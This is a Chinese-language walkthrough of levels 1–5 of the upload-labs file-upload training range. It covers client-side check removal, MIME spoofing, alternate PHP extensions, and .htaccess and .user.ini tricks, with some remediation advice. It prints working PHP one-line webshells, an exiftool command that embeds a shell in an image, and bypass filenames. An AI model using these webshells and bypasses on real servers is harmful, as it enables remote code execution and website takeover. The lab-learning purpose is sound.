upload-labs PASS 1-5通关
PASS-01 前端javascript检查
1,第一个提示javascript对上传的文件进行审查
2,javascript工作在前端页面,可以直接删除具有审查功能的代码
3,删除之后再上传一句话木马
上传成功,可以使用蚁剑进行连接,控制网站
第一关的防御机制在前端(客户端),操作是javascript过滤:function checkFile(),定义了一个检查文件后缀名的函数,只允许图片类型文件上传
PASS-02 MIME绕过
1,第二关提示本pass在服务端对数据包的MIME进行检查。
检查 MIME 类型通常涉及以下几个步骤:
1. 获取请求的 MIME 类型
在接收到客户端发送的数据包后,服务端可以通过 HTTP 请求头中的 Content-Type 字段来获取请求的 MIME 类型。这个字段通常会告诉服务器,数据包的格式(如 JSON、XML、图片等)。
例如,对于一个 POST 请求,Content-Type 可能是这样的:
- application/json
- application/xml
- multipart/form-data(通常用于上传文件)
- image/jpeg
2. 验证 MIME 类型
服务端需要验证这个 MIME 类型是否符合预期,防止恶意用户伪造数据包类型。一般来说,有以下几种方式来验证 MIME 类型:
a. 通过 HTTP 头检查
检查 HTTP 请求头中的 Content-Type 是否符合预期类型。如果客户端发送的类型不匹配,可以返回 400 或 415 错误响应。
例如:
if request.headers.get('Content-Type') != 'application/json':
return 'Invalid Content-Type', 415
b. 文件扩展名检查
对于上传文件的情况,服务端可能会根据文件的扩展名来进一步验证 MIME 类型,例如确认上传的文件确实是 .jpg 扩展名的图片,且 MIME 类型为 image/jpeg。
3. 解析数据并验证格式
仅仅验证 MIME 类型可能不足够,还需要根据数据的格式进一步进行验证。例如:
- JSON 验证:如果 Content-Type 是 application/json,服务端需要检查接收到的内容是否为有效的 JSON 格式。
- 如果 JSON 格式不合法,可以返回 400 错误。
- 图片文件验证:如果是图片,服务端可以使用文件头(Magic Bytes)来验证文件的实际格式,而不仅仅依赖于 MIME 类型。
- 比如:对于 JPEG 文件,文件的前两个字节通常是 0xFF, 0xD8,如果 MIME 类型是 image/jpeg,但文件头不匹配,可以认为是伪造的文件。
4. 防止 MIME 类型欺骗
由于客户端可以伪造 Content-Type 头,单靠头部信息并不安全。服务器可以采取以下措施进一步保护:
- 检查数据的 Magic Bytes:特别是在处理文件上传时,读取数据的前几个字节来判断文件类型,而不仅仅依赖 Content-Type。
- 多重验证:对于某些特定格式的数据(如图片、音频等),可以通过第三方库或算法进一步验证数据的结构和内容。
类型 | 描述 | 典型示例 |
text | 表明文件是普通文本,理论上是人类可读 | text/plain, text/html, text/css, text/javascript |
image | 表明是某种图像。不包括视频,但动态图(如动态GIF)也使用image类型 | image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon |
audio | 表明是某种音频文件 | audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav |
video | 表明是某种视频文件 | video/webm, video/ogg |
application | 表明是某种二进制数据 | application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf |
2,那么思路就是burp suite抓包,然后对content-type进行修改。挂上代理,然后抓包,右键发送到repeater模块,然后修改为image/png
上传成功
PASS-03 上传特殊可解析后缀
1,本关禁止上传.asp|.aspx|.php|.jsp后缀文件,尝试burpsuite抓包该后缀名进行绕过
结果还是发生报错
查看源码这是因为后端对文件后缀名进行了审查过滤
2,在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。
这里用.ptml试一下,直接上传一个名为1.phtml的文件,可以发现直接上传成功
成功上传
PASS-04 利用 .htaccess 绕过
代码审计分析
1. 黑名单过滤机制缺陷
$deny_ext = array(".php",".php5",...,".phtml",...); // 黑名单列表
$file_ext = strrchr($file_name, '.'); // 提取扩展名
- 绕过风险:
- 末尾点绕过:若文件名形如 shell.phtml.,strrchr 提取的扩展名为 .phtml.,不在黑名单中,可能绕过检测。部分服务器(如Apache)会忽略末尾点,仍按 .phtml 解析。
- 未覆盖新扩展名:如 .php7、.phar 等未在黑名单中,可能被利用。
- .htaccess 攻击:黑名单未包含 .htaccess,攻击者可上传此文件修改解析规则(如 AddType application/x-httpd-php .abc),后续上传 .abc 的Webshell。
2. 文件名处理逻辑问题
- deldot 函数未明确定义:若仅删除末尾单个点,多重点(如 shell.php..)可能残留末尾点,导致扩展名误判。
- 路径遍历风险:未过滤 ../ 等字符,攻击者可能通过 ../../shell.phtml 将文件上传到非预期目录。
3. 服务器解析漏洞依赖
- 即使绕过黑名单,仍需依赖服务器配置漏洞(如解析 shell.php.jpg 为 PHP),但代码本身未对内容做验证。
攻击场景示例
1. 利用 .htaccess 绕过
- 上传 .htaccess 文件,内容为:
AddType application/x-httpd-php .phtml .jpg
- 上传 WebShell 文件 shell.jpg,内容为:
<?php @eval($_POST['cmd']); ?>
- 蚁剑通过 http://3b04a012-9abc-46c1-b9fa-0cb64af9074d.node5.buuoj.cn:81/upload/shell.jpg 连接
PASS-05 黑名单验证,.user.ini.
代码审计分析
1. 大小写绕过漏洞(高危)
漏洞原理:
黑名单虽包含部分大小写变种(如 .pHp),但未覆盖 全大写扩展名(如 .PHP、.PHP5)。由于代码未统一转换为小写进行校验,攻击者可构造特定扩展名绕过检测。
利用方式:
- 上传文件名为 shell.PHP,扩展名 .PHP 不在黑名单中(黑名单仅含 .pHp)。
- 在 Windows/Linux 服务器上均可能绕过检测并执行。
修复建议:
$file_ext = strtolower($file_ext); // 统一转换为小写后再检查黑名单
2. 特殊扩展名绕过(高危)
漏洞原理:
黑名单未覆盖以下危险扩展名:
- .phar:PHP 归档文件,可直接执行代码。
- .phtml 重复处理缺陷:虽然黑名单包含 .phtml,但若攻击者构造 .PHTML(全大写)仍可绕过。
- .inc:部分服务器配置会解析为 PHP。
利用方式:
- 上传文件 shell.phar,绕过黑名单检测。
- 通过 URL 直接访问上传的 .phar 文件触发代码执行。
3. 路径遍历攻击(中危)
漏洞原理:
代码未对文件名中的路径字符(如 ../)进行过滤,攻击者可构造文件名将文件上传到非预期目录。
利用方式:
- 上传文件名设为 ../../shell.php,若服务器处理不当,文件可能被保存到 Web 根目录外的敏感路径(如 /var/www/html 的上级目录)。
- 配合其他漏洞(如本地文件包含)触发执行。
修复建议:
$file_name = str_replace(['../', './'], '', $file_name); // 过滤路径遍历字符
4. 双扩展名解析漏洞(高危)
漏洞原理:
若服务器配置错误(如 Apache 的 mod_mime 解析缺陷),可能将 shell.php.jpg 识别为 PHP 文件。代码仅检查最后一个扩展名(.jpg),导致绕过。
利用方式:
- 上传文件名为 shell.php.jpg,扩展名检测为 .jpg,绕过黑名单。
- 通过服务器解析漏洞(如 AddHandler application/x-httpd-php .jpg)触发 PHP 代码执行。
5. .htaccess 攻击(高危)
漏洞原理:
虽然黑名单包含 .htaccess,但代码未彻底处理大小写(如 .Htaccess)。若攻击者上传恶意 .htaccess 文件,可控制服务器解析规则。
利用方式:
- 上传文件名为 .Htaccess,内容为:
AddType application/x-httpd-php .abc - 上传 WebShell 文件 shell.abc,内容为 PHP 代码。
- 访问 shell.abc 触发代码执行。
6. 文件内容未校验(中危)
漏洞原理:
代码仅校验扩展名,未检查文件内容。攻击者可上传图片马(如 shell.jpg 内含 PHP 代码),配合服务器解析漏洞或文件包含漏洞执行代码。
利用方式:
- 生成图片马:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg - 上传 shell.jpg,通过文件包含漏洞执行:
http://target.com/include.php?file=uploads/202310011200001234.jpg&cmd=id
漏洞利用综合示例
场景:利用大小写绕过 + 双扩展名攻击
- 上传文件名为 shell.PHP.jpg,扩展名检测为 .jpg,绕过黑名单。
- 服务器配置错误(如 Apache 解析 php 优先级高于 jpg),将文件解析为 PHP。
- 通过 URL 访问上传文件执行代码:
http://target.com/uploads/202310011200001234.PHP.jpg
.user.ini 文件详解
1. 基本概念
- 定义:.user.ini 是 PHP 的本地配置文件,用于覆盖 php.ini 中的配置项。
- 作用范围:仅对 当前目录及其子目录 生效(需 PHP 运行在 FastCGI 模式)。
- 优先级:php.ini < .htaccess (Apache) < .user.ini。
2. 核心用途
通过以下指令控制 PHP 行为:
- auto_prepend_file:
- 在所有 PHP 文件执行前自动包含指定文件。
- 示例:auto_prepend_file = "header.php"
- auto_append_file:
- 在所有 PHP 文件执行后自动包含指定文件。
- 示例:auto_append_file = "footer.php"
- 其他常用指令:
- max_execution_time(脚本最大执行时间)
- memory_limit(内存限制)
- upload_max_filesize(文件上传大小限制)
3. 攻击利用场景
漏洞原理:
攻击者可上传恶意 .user.ini 文件,结合其他文件(如图片马)实现代码执行。
攻击步骤示例:
- 上传 .user.ini:
auto_prepend_file = "shell.jpg" ; 自动包含图片马 - 上传图片马 shell.jpg:
<?php @eval($_POST['cmd']);?> - 触发执行:
访问该目录下的任意 PHP 文件(如 index.php),会先加载 shell.jpg 中的代码。
4. 防御措施
- 禁止上传 .user.ini:
$deny_ext = array_merge($deny_ext, ['.user.ini']); - 限制目录权限:
- 设置上传目录的 PHP 文件不可执行(Nginx 示例):
location /uploads/ {
deny all;
}
- 服务器配置加固:
- 在 php.ini 中禁用危险指令:
user_ini.filename = "" ; 禁用 .user.ini
allow_url_include = Off ; 禁止远程文件包含
open_basedir = /var/www/html ; 限制 PHP 文件访问范围
- 定期扫描:
- 监控服务器目录中异常 .user.ini 文件